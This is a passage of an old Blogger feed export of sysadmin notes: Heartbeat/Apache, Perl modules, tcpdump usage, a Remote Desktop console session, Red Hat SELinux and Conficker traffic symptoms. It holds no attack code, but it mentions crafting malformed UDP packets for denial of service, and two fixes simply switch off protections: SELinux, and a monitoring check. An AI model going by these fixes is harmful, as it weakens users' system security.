style="color: rgb(0, 102, 0);"&gt;       else&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;         STATUSURL="${LOCALHOST}:${PORT}$StatusURL"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;       fi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;     fi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;   fi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;   test "$PidFile"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt; }&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;From the comments I figured out that server status check wasnt required in my case, its best to comment that out for my case, the problem seems to be that the wget command itself isnt getting executed by the shell.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;monitor_apache() {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;  if&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;        ! have_binary $WGET&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;  then&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;        ocf_log err "Monitoring not supported by $OCF_RESOURCE_INSTANCE"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;        ocf_log info "Please make sure that wget is available"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;        return $OCF_ERR_CONFIGURED&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;  elif [ -z "$STATUSURL" ]; then&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;        ocf_log err "Monitoring not supported by $CONFIGFILE"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;        ocf_log info "Please set the statusurl parameter"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;        return $OCF_ERR_CONFIGURED&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;  fi&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;  if&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;    silent_status&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;  then&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;    #ocf_run sh -c "$WGET $WGETOPTS $STATUSURL | tr '\012' ' ' | grep -Ei \"$TESTREGEX\" &gt;/dev/null"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;  else&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;    ocf_log info "$CMD not running"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;    return $OCF_NOT_RUNNING&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;  fi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;So I commented the line:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;#ocf_run sh -c "$WGET $WGETOPTS $STATUSURL | tr '\012' ' ' | grep -Ei \"$TESTREGEX\" &gt;/dev/null"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;and my problem was fixed.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;node242:/etc/ha.d/resource.d # ./apache status&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;Script name is : /usr/lib/ocf/resource.d//heartbeat/apache&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;2009/05/08_02:46:29 INFO:  Running OK&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;INFO:  Running OK&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6348799822268982633-6061000507967315370?l=rhosted.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rhosted.blogspot.com/feeds/6061000507967315370/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rhosted.blogspot.com/2010/02/heartbeat-linux-problem.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/6061000507967315370'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/6061000507967315370'/><link rel='alternate' type='text/html' href='http://rhosted.blogspot.com/2010/02/heartbeat-linux-problem.html' title='HeartBeat Linux problem'/><author><name>k3w13r</name><uri>http://www.blogger.com/profile/12416647679178002935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PRXoISxEI/AAAAAAAAALA/kErir6kH4As/S220/Icon.PNG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6348799822268982633.post-5666342396072706796</id><published>2010-02-08T11:50:00.000+05:30</published><updated>2010-02-08T11:51:11.450+05:30</updated><title type='text'>Installing a Module in Perl through source</title><content type='html'>&lt;span style="color: rgb(51, 255, 51);"&gt;I am very new to perl. No idea how to make things work in perl. I mean resolving errors and that kind of stuff. I can write programs with some google help. Two days back I wanted to generate a malformed UDP packet, a packet with an Invalid UDP length field. This kind of packet was notorious for causing a DOS attack on older Unix systems (dont know whats the current status). Sure it was fun. But yes, I found a useful tip for a perl beginner like me. It happens when your code requires a perl module that is not available in your current perl installation. In such cases you see errors like:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);"&gt;Can't locate Socket6.pm in @INC (@INC contains: /usr/lib/perl5/5.10.0/s390x-linux-thread-multi /usr/lib/perl5/5.10.0 /usr/lib/perl5/site_perl/5.10.0/s390x-linux-thread-multi /us&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);"&gt;r/lib/perl5/site_perl/5.10.0 /usr/lib/perl5/vendor_perl/5.10.0/s390x-linux-thread-multi /usr/lib/perl5/vendor_perl/5.10.0 /usr/lib/perl5/vendor_perl .) at /etc/ha.d/resource.d/l&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);"&gt;directord line 721.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);"&gt;BEGIN failed--compilation aborted at /etc/ha.d/resource.d/ldirectord line 721.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Obviously it means that my Linux doesnt have the perl module named Socket6.pm. It happends many times that if I google with this error string, I may or may not find a quick solution. The better way is to go to the CPAN search site&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://search.cpan.org/"&gt;http://search.cpan.org/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;and search for Socket6.pm&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;This will give you the package that has Socket6.pm in it. Again there can be two ways of installing it, either you install it through CPAN or install it by source. I preferred the second method as my linux machine had some internet connectivity issues.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;So download the tar.gz package from the results returned by search.cpan, extract it and install it using the commands&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;tar -xvzf package.tar.gz&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;perl Makefile.pl&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;make&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;make test&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;make install &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6348799822268982633-5666342396072706796?l=rhosted.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rhosted.blogspot.com/feeds/5666342396072706796/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rhosted.blogspot.com/2010/02/installing-module-in-perl-through.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/5666342396072706796'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/5666342396072706796'/><link rel='alternate' type='text/html' href='http://rhosted.blogspot.com/2010/02/installing-module-in-perl-through.html' title='Installing a Module in Perl through source'/><author><name>k3w13r</name><uri>http://www.blogger.com/profile/12416647679178002935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PRXoISxEI/AAAAAAAAALA/kErir6kH4As/S220/Icon.PNG'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6348799822268982633.post-5591026673783613341</id><published>2010-02-08T11:49:00.000+05:30</published><updated>2010-02-08T11:50:00.895+05:30</updated><title type='text'>tcpdump</title><content type='html'>&lt;span style="color: rgb(51, 255, 51);"&gt;This is for reference, its not a guide but just a list of usage commands that I picked from various sources. Yeah I admit, I am one of those lamers who prefer to google than reading the man page. :/ Most are picked from wireshark's homepage :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;http://openmaniak.com/tcpdump.php&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;1.tcpdump&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;2.tcpdump -v //verbose&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;3.tcpdump -D //lists devices&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;4.tcpdump -n //avoid dns lookup&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;5.tcpdump -q // quick output&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;6.tcpdump udp // capture udp packets only   :: useful&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;7.tcpdump -w capture.cap  //save the capture to a file named capture.cap  :: useful&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;8.tcpdump -r capture.cap //read dump from capture.cap&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;9.tcpdump host abc.com  //packets coming from or going towards abc.com ::useful&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;10.tcpdump src xx.xx.xx.aa and dst xx.xx.xx.bb&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;11.tcpdump -A //displays the packet's content ::useful&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;12.tcpdump -i eth1 //capture on interface eth1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;13.tcpdump -v -A udp and  dst 192.168.69.238 or dst 192.168.69.242 -i eth1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;14.tcpdump -n -S -s 15000 -vv -X 'host 192.168.0.159 and udp and port 1717'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);"&gt;-S print absolute IP sequence number (not relative)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;-n no address resolution&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;-s size of capture for each packet (15000 should be enough to hold data returned by query,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;you will have to play with this depending on what type of query you issue)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;-X  print HEX and ASCII version of packet 'host 192.168.0.159 and udp and port 1717'&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;for an exhaustive list, see the man page&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://linux.die.net/man/8/tcpdump"&gt;http://linux.die.net/man/8/tcpdump&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6348799822268982633-5591026673783613341?l=rhosted.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rhosted.blogspot.com/feeds/5591026673783613341/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rhosted.blogspot.com/2010/02/tcpdump.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/5591026673783613341'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/5591026673783613341'/><link rel='alternate' type='text/html' href='http://rhosted.blogspot.com/2010/02/tcpdump.html' title='tcpdump'/><author><name>k3w13r</name><uri>http://www.blogger.com/profile/12416647679178002935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PRXoISxEI/AAAAAAAAALA/kErir6kH4As/S220/Icon.PNG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6348799822268982633.post-8262556470957299200</id><published>2010-02-08T11:48:00.000+05:30</published><updated>2010-02-08T11:49:10.045+05:30</updated><title type='text'>Exceeding Windows Remote Desktop Limit</title><content type='html'>&lt;span style="color: rgb(51, 255, 51);"&gt;While making a Remote desktop connection, the maximum number of allowed connections is 2. And when this limit is reached, you see an error message of the sort:&lt;/span&gt;&lt;br /&gt;&lt;a style="color: rgb(51, 255, 51);" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_e-VL6LAQQaw/Skj66skgADI/AAAAAAAAADU/ZcISgRYEZkE/s1600-h/Exceeded_Max_Number.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 153px;" src="http://1.bp.blogspot.com/_e-VL6LAQQaw/Skj66skgADI/AAAAAAAAADU/ZcISgRYEZkE/s400/Exceeded_Max_Number.png" alt="" id="BLOGGER_PHOTO_ID_5352804043433443378" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;When you close the remote desktop window using the 'x' sign in the top right corner, you DISCONNECT from the windows session. However windows keeps your session alive in its memory. So that when you try to relogin it assigns the active session in its memory to you. Closing the window using the 'x' button doesnot make you logoff. Your session remains active, only that your state is 'DISCONNECTED'. So sometimes when the number of sessions is 2, even though they are disconnected, still windows shows you this message. You can use a third reserved connection to remotely login into windows:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;type this command in your command prompt:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);"&gt;start mstsc -v:xx.xx.xx.xx /f -console&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;and this will open the third connection. You can use this connection to kill the other disconnected sessions through taskmanager. xx.xx.xx.xx is the IP of the windows machine. &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6348799822268982633-8262556470957299200?l=rhosted.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rhosted.blogspot.com/feeds/8262556470957299200/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rhosted.blogspot.com/2010/02/exceeding-windows-remote-desktop-limit.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/8262556470957299200'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/8262556470957299200'/><link rel='alternate' type='text/html' href='http://rhosted.blogspot.com/2010/02/exceeding-windows-remote-desktop-limit.html' title='Exceeding Windows Remote Desktop Limit'/><author><name>k3w13r</name><uri>http://www.blogger.com/profile/12416647679178002935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PRXoISxEI/AAAAAAAAALA/kErir6kH4As/S220/Icon.PNG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_e-VL6LAQQaw/Skj66skgADI/AAAAAAAAADU/ZcISgRYEZkE/s72-c/Exceeded_Max_Number.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6348799822268982633.post-6145351173028463108</id><published>2010-02-08T11:47:00.000+05:30</published><updated>2010-02-08T11:48:17.128+05:30</updated><title type='text'>Failed to find VM - aborting Red Hat</title><content type='html'>&lt;span style="color: rgb(51, 255, 51);"&gt;In case you are using RedHat 5.* Linux, and you a message like this while installation:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Failed to find VM - aborting&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;You need to disable Selinux.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Go to /etc/selinux directory, open the file config, which would look like:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);"&gt;# This file controls the state of SELinux on the system.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);"&gt;# SELINUX= can take one of these three values:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);"&gt;#       enforcing - SELinux security policy is enforced.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);"&gt;#       permissive - SELinux prints warnings instead of enforcing.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);"&gt;#       disabled - SELinux is fully disabled.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);"&gt;SELINUX=disabled&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);"&gt;# SELINUXTYPE= type of policy in use. Possible values are:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);"&gt;#       targeted - Only targeted network daemons are protected.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);"&gt;#       strict - Full SELinux protection.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);"&gt;SELINUXTYPE=targeted&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Change the line SELINUX=enforcing to&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;SELINUX=disabled &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6348799822268982633-6145351173028463108?l=rhosted.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rhosted.blogspot.com/feeds/6145351173028463108/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rhosted.blogspot.com/2010/02/failed-to-find-vm-aborting-red-hat.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/6145351173028463108'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/6145351173028463108'/><link rel='alternate' type='text/html' href='http://rhosted.blogspot.com/2010/02/failed-to-find-vm-aborting-red-hat.html' title='Failed to find VM - aborting Red Hat'/><author><name>k3w13r</name><uri>http://www.blogger.com/profile/12416647679178002935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PRXoISxEI/AAAAAAAAALA/kErir6kH4As/S220/Icon.PNG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6348799822268982633.post-2649266960582209345</id><published>2010-02-08T11:46:00.000+05:30</published><updated>2010-02-08T11:47:20.626+05:30</updated><title type='text'>Social Startups Business Models</title><content type='html'>&lt;span style="color: rgb(51, 255, 51);"&gt;You may like this:&lt;/span&gt;&lt;br /&gt;&lt;a href="http://mashable.com/2009/07/14/social-media-business-models/"&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;http://mashable.com/2009/07/14/social-media-business-models/ &lt;/span&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6348799822268982633-2649266960582209345?l=rhosted.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rhosted.blogspot.com/feeds/2649266960582209345/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rhosted.blogspot.com/2010/02/social-startups-business-models.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/2649266960582209345'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/2649266960582209345'/><link rel='alternate' type='text/html' href='http://rhosted.blogspot.com/2010/02/social-startups-business-models.html' title='Social Startups Business Models'/><author><name>k3w13r</name><uri>http://www.blogger.com/profile/12416647679178002935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PRXoISxEI/AAAAAAAAALA/kErir6kH4As/S220/Icon.PNG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6348799822268982633.post-3875131286795961076</id><published>2009-09-02T20:51:00.000+05:30</published><updated>2009-09-03T20:53:31.308+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='conficker w32.downadup network traffic wireshark'/><title type='text'>Conficker Network Traffic [ Wireshark Captures ]</title><content type='html'>&lt;span style="color: rgb(51, 255, 51);"&gt;These are some of the network captures that I did using wireshark, when Conficker infected my machine. I had a hard time removing it. But in the beginning I didnt even know if something is wrong. I did some network forensic kind of thing just to ensure that some weird and unexplained network traffic was going on. :( . Now I am presenting them as facts and questions that came to my mind. Sometimes when you dont know if your computer is compromised by a worm or trojan, these kind of symptoms are the ones you can look out for. Wireshark is an excellent open source tool for monitoring the network traffic coming in and out of your system. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_e-VL6LAQQaw/Sp6ORkXCI_I/AAAAAAAAAEc/YR6oWqaHEl0/s1600-h/p2p.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 236px;" src="http://1.bp.blogspot.com/_e-VL6LAQQaw/Sp6ORkXCI_I/AAAAAAAAAEc/YR6oWqaHEl0/s400/p2p.PNG" alt="" id="BLOGGER_PHOTO_ID_5376891437596156914" border="0" /&gt;&lt;/a&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;Fact #1: Use of p2p: the PSH flag set in TCP packets.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;Q: p2p?? I aint using any p2p software, what the hell? why these PSH flags are set?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In general the TCP packets used by p2p (peer to peer) protocol have PSH (PUSH) flag set. Whenever you see PSH flag set in TCP packets. You can be almost sure of p2p in action. p2p is not a common protocol, it comes into picture only if you are using p2p softwares like Kaza lite etc. Otherwise it sure could be a cause of worry. The PSH flag set implies that the TCP packets are intended to be "push" across the buffers ahead of any other data. For this reason p2p traffic is notorious for eating up bandwidth and is generally banned in corporate networks. Also p2p isnt a very reliable means of obtaining things. You never know the benign executable (that came in disguise of your favorite game) could be a trojan or a bot. One click and your computer becomes the zombia of a botnet.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_e-VL6LAQQaw/Sp6OFEcCkMI/AAAAAAAAAEM/zM_mDyUVUHI/s1600-h/InfectingLAN.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 236px;" src="http://3.bp.blogspot.com/_e-VL6LAQQaw/Sp6OFEcCkMI/AAAAAAAAAEM/zM_mDyUVUHI/s400/InfectingLAN.PNG" alt="" id="BLOGGER_PHOTO_ID_5376891222868791490" border="0" /&gt;&lt;/a&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;Fact #2: Whenever I connect to the network, my machine starts asking for MAC addresses of all possible hosts on my LAN.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;Q: Why would anyone do that? There is something, and this is a common sign of a worm which is trying &lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;to scan the entire LAN for vulnerable hosts.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This is a sureshot sign of trouble. If your computer is searching the whole subnet (say 10.0.0,1 to 10.0.0.254), its trying to figure out who else is present on your LAN. If any host replies back, the worm will try to infect it. The netbios (port 135, 139, 445) services of a windows machine are available to the LAN only. Any worm outside the LAN cannot attack it. But if any machine in your LAN is infected, chances are that all vulnerable windows machines will get infected. Unless your antivirus and OS is updated to face the most recent vulnerabilities.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_e-VL6LAQQaw/Sp6W728l5SI/AAAAAAAAAEs/Gq0CY_XJ9Ac/s1600-h/Sites.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 234px;" src="http://1.bp.blogspot.com/_e-VL6LAQQaw/Sp6W728l5SI/AAAAAAAAAEs/Gq0CY_XJ9Ac/s400/Sites.PNG" alt="" id="BLOGGER_PHOTO_ID_5376900960233055522" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;Fact #3: My machine trying to access unknown websites?? Oh, atleast they are unknown to me.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;Q: why?? may be trying to get updates for the 'thing'?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Conficker uses an algorithm for calculating the rate of infection. If the rate is too fast, it would eat up the network bandwidth which may attract unwanted attention of network admins. If the rate is too slow, well conficker surely doesnt want this. Conficker tries to communicate some popular websites to find out the round-trip time and based on the results it tries to create a rate of infection that matches with internet speed of the victim  host computer. I got this reasoning from the internet, possibly an antivirus site.&lt;br /&gt;&lt;br /&gt;In other cases the worm might be trying to get updates for itself from hacking or compromised sites. The worm might be downloading the next instruction set, or even more powerful malware, adware etc.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_e-VL6LAQQaw/Sp6N-YZr19I/AAAAAAAAAEE/SP9OQ7WHvRw/s1600-h/DNS.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 234px;" 